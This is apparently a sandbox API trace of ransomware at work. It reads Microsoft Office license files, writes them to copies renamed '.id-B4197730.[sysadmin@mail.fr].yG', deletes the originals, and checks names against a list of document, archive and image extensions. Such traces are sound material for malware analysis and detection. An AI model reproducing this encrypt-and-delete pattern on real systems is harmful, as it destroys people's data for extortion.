	[0162.070] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0162.071] GetLastError () returned 0x0
	[0162.071] ReadFile (in: hFile=0x544, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0xd34, lpOverlapped=0x0) returned 1
	[0162.073] WriteFile (in: hFile=0x548, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xd40, lpOverlapped=0x0) returned 1
	[0162.074] ReadFile (in: hFile=0x544, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.075] WriteFile (in: hFile=0x548, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0162.075] SetEndOfFile (hFile=0x548) returned 1
	[0162.075] CloseHandle (hObject=0x548) returned 1
	[0162.075] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.075] SetEndOfFile (hFile=0x544) returned 1
	[0162.078] CloseHandle (hObject=0x544) returned 1
	[0162.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 1
	[0162.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0162.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0162.079] lstrlenW (lpString=".doc") returned 4
	[0162.080] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.080] lstrlenW (lpString=".docx") returned 5
	[0162.080] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.080] lstrlenW (lpString=".pdf") returned 4
	[0162.080] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.080] lstrlenW (lpString=".xls") returned 4
	[0162.080] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.080] lstrlenW (lpString=".xlsx") returned 5
	[0162.080] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.080] lstrlenW (lpString=".ppt") returned 4
	[0162.080] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0162.080] lstrlenW (lpString=".zip") returned 4
	[0162.080] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.080] lstrlenW (lpString=".rar") returned 4
	[0162.080] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.080] lstrlenW (lpString=".bz2") returned 4
	[0162.080] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.080] lstrlenW (lpString=".7z") returned 3
	[0162.080] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0162.080] lstrlenW (lpString=".dbf") returned 4
	[0162.080] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0162.080] lstrlenW (lpString=".1cd") returned 4
	[0162.080] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0162.081] lstrlenW (lpString=".jpg") returned 4
	[0162.081] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0162.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0162.081] lstrlenW (lpString=".doc") returned 4
	[0162.081] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.081] lstrlenW (lpString=".docx") returned 5
	[0162.081] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.081] lstrlenW (lpString=".pdf") returned 4
	[0162.081] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.081] lstrlenW (lpString=".xls") returned 4
	[0162.081] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.081] lstrlenW (lpString=".xlsx") returned 5
	[0162.081] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.081] lstrlenW (lpString=".ppt") returned 4
	[0162.081] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0162.081] lstrlenW (lpString=".zip") returned 4
	[0162.081] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.082] lstrlenW (lpString=".rar") returned 4
	[0162.082] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.082] lstrlenW (lpString=".bz2") returned 4
	[0162.082] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.082] lstrlenW (lpString=".7z") returned 3
	[0162.082] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0162.082] lstrlenW (lpString=".dbf") returned 4
	[0162.082] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0162.082] lstrlenW (lpString=".1cd") returned 4
	[0162.082] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77
	[0162.082] lstrlenW (lpString=".jpg") returned 4
	[0162.082] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.082] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0162.082] lstrlenW (lpString="client-issuance-ul-oob.xrm-ms") returned 29
	[0162.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0162.083] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=4392) returned 1
	[0162.083] CloseHandle (hObject=0x544) returned 1
	[0162.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 0x220
	[0162.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0162.084] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.084] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0162.085] GetLastError () returned 0x0
	[0162.085] ReadFile (in: hFile=0x544, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x1128, lpOverlapped=0x0) returned 1
	[0162.098] WriteFile (in: hFile=0x548, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x1130, lpOverlapped=0x0) returned 1
	[0162.413] ReadFile (in: hFile=0x544, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.414] WriteFile (in: hFile=0x548, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0162.414] SetEndOfFile (hFile=0x548) returned 1
	[0162.414] CloseHandle (hObject=0x548) returned 1
	[0162.414] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.414] SetEndOfFile (hFile=0x544) returned 1
	[0162.418] CloseHandle (hObject=0x544) returned 1
	[0162.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 1
	[0162.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0162.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0162.420] lstrlenW (lpString=".doc") returned 4
	[0162.420] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.420] lstrlenW (lpString=".docx") returned 5
	[0162.420] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.420] lstrlenW (lpString=".pdf") returned 4
	[0162.420] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.420] lstrlenW (lpString=".xls") returned 4
	[0162.420] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.420] lstrlenW (lpString=".xlsx") returned 5
	[0162.421] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.421] lstrlenW (lpString=".ppt") returned 4
	[0162.421] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0162.421] lstrlenW (lpString=".zip") returned 4
	[0162.421] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.421] lstrlenW (lpString=".rar") returned 4
	[0162.421] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.421] lstrlenW (lpString=".bz2") returned 4
	[0162.421] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.421] lstrlenW (lpString=".7z") returned 3
	[0162.421] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0162.421] lstrlenW (lpString=".dbf") returned 4
	[0162.421] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0162.421] lstrlenW (lpString=".1cd") returned 4
	[0162.421] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0162.421] lstrlenW (lpString=".jpg") returned 4
	[0162.421] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0162.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0162.422] lstrlenW (lpString=".doc") returned 4
	[0162.422] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.422] lstrlenW (lpString=".docx") returned 5
	[0162.422] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.422] lstrlenW (lpString=".pdf") returned 4
	[0162.422] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.422] lstrlenW (lpString=".xls") returned 4
	[0162.422] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.422] lstrlenW (lpString=".xlsx") returned 5
	[0162.423] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.423] lstrlenW (lpString=".ppt") returned 4
	[0162.423] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0162.423] lstrlenW (lpString=".zip") returned 4
	[0162.423] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.423] lstrlenW (lpString=".rar") returned 4
	[0162.423] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.423] lstrlenW (lpString=".bz2") returned 4
	[0162.423] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.423] lstrlenW (lpString=".7z") returned 3
	[0162.423] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0162.423] lstrlenW (lpString=".dbf") returned 4
	[0162.423] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0162.423] lstrlenW (lpString=".1cd") returned 4
	[0162.423] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79
	[0162.423] lstrlenW (lpString=".jpg") returned 4
	[0162.423] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.424] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0162.424] lstrlenW (lpString="ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 29
	[0162.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0162.426] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11582) returned 1
	[0162.426] CloseHandle (hObject=0x544) returned 1
	[0162.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 0x220
	[0162.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0162.427] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.427] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0162.428] GetLastError () returned 0x0
	[0162.428] ReadFile (in: hFile=0x544, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d3e, lpOverlapped=0x0) returned 1
	[0162.441] WriteFile (in: hFile=0x548, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d40, lpOverlapped=0x0) returned 1
	[0162.442] ReadFile (in: hFile=0x544, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.442] WriteFile (in: hFile=0x548, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0162.443] SetEndOfFile (hFile=0x548) returned 1
	[0162.507] CloseHandle (hObject=0x548) returned 1
	[0162.507] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.507] SetEndOfFile (hFile=0x544) returned 1
	[0162.514] CloseHandle (hObject=0x544) returned 1
	[0162.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-oob.xrm-ms")) returned 1
	[0162.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0162.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0162.515] lstrlenW (lpString=".doc") returned 4
	[0162.515] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.515] lstrlenW (lpString=".docx") returned 5
	[0162.515] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.515] lstrlenW (lpString=".pdf") returned 4
	[0162.516] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.516] lstrlenW (lpString=".xls") returned 4
	[0162.516] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.516] lstrlenW (lpString=".xlsx") returned 5
	[0162.516] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.516] lstrlenW (lpString=".ppt") returned 4
	[0162.516] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0162.516] lstrlenW (lpString=".zip") returned 4
	[0162.516] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.516] lstrlenW (lpString=".rar") returned 4
	[0162.516] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.516] lstrlenW (lpString=".bz2") returned 4
	[0162.516] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.516] lstrlenW (lpString=".7z") returned 3
	[0162.516] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0162.516] lstrlenW (lpString=".dbf") returned 4
	[0162.516] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0162.516] lstrlenW (lpString=".1cd") returned 4
	[0162.516] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0162.516] lstrlenW (lpString=".jpg") returned 4
	[0162.516] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0162.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0162.517] lstrlenW (lpString=".doc") returned 4
	[0162.517] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.517] lstrlenW (lpString=".docx") returned 5
	[0162.524] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.524] lstrlenW (lpString=".pdf") returned 4
	[0162.524] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.524] lstrlenW (lpString=".xls") returned 4
	[0162.524] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.524] lstrlenW (lpString=".xlsx") returned 5
	[0162.525] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.525] lstrlenW (lpString=".ppt") returned 4
	[0162.525] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0162.525] lstrlenW (lpString=".zip") returned 4
	[0162.525] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.525] lstrlenW (lpString=".rar") returned 4
	[0162.525] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.525] lstrlenW (lpString=".bz2") returned 4
	[0162.525] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.525] lstrlenW (lpString=".7z") returned 3
	[0162.525] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0162.525] lstrlenW (lpString=".dbf") returned 4
	[0162.525] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0162.525] lstrlenW (lpString=".1cd") returned 4
	[0162.525] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79
	[0162.525] lstrlenW (lpString=".jpg") returned 4
	[0162.525] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.526] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0162.526] lstrlenW (lpString="ExcelR_Retail-ppd.xrm-ms") returned 24
	[0162.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0162.527] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=20844) returned 1
	[0162.527] CloseHandle (hObject=0x520) returned 1
	[0162.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms")) returned 0x220
	[0162.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
